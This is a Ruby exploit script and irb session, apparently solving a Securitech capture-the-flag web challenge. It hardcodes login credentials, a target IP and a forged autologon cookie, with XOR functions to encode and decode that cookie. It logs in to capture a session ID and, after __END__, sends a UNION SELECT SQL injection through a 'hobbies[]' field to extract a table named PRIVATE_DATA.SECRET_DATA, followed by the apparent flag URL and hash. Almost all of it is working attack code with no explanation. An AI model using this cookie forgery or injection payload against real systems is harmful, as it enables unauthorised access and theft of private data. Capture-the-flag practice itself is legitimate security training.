require 'socket' $user = 'nvidel' $pass = 'nvidel' $phpsessid = nil $autologon = 'PJVldjePNjhq204lFKU1VGbbNCcRoDgja9c6J2SlSitkpjpUZtZKKmLbNCIU00kq' def encodeautologon(str, key=0x120ce352) [(str+' ').unpack('L*').map { |e| e ^ 0x120ce352 }.pack('L*')[0...str.length]].pack('m').split.join end def decodeautologon(str, key=0x120ce352) str = str.unpack('m').first (str+' ').unpack('L*').map { |e| e ^ 0x120ce352 }.pack('L*')[0...str.length] end # "nvidel:*88B7FF9F4885CC4194656FF96E6F45F80880F0E8" def httprq(url, content=nil) TCPSocket.open('193.168.50.84', 80) { |s| rqtype = content ? 'POST' : 'GET' s.write "#{rqtype} #{url} HTTP/1.0\r\n" cookies = [] cookies << "PHPSESSID=#$phpsessid" if $phpsessid cookies << "autologon=#$autologon" if $autologon s.write "Cookie: #{cookies.join('; ')}\r\n" unless cookies.empty? puts "Debug: Cookie: #{cookies.join('; ')}\r\n" unless cookies.empty? or not $DEBUG s.write "Content-Type: application/x-www-form-urlencoded\r\n" if content s.write "Content-Length: #{content.length}\r\n" if content s.write "\r\n" s.write content if content s.read } end def login(user = $user, pass = $pass) bla = httprq '/login.php' bla =~ /PHPSESSID=([a-zA-Z0-9]*)/ $phpsessid = $1 httprq '/login.php', "username=#{user}&password=#{pass}&Search=Connexion" end __END__ Contact => nil irb(main):076:0> puts httprq '/search.php', "type=1&hobbies[]=voiture`=3 union select text,0,0 from PRIVATE_DATA.SECRET_DATA /*".tr(' ', '+') http://www.challenge-securitech.com/d16cb2259dd6a001aad0720d53ef8a80/index.php c852044fdbe34b06930dd7dd71cf7559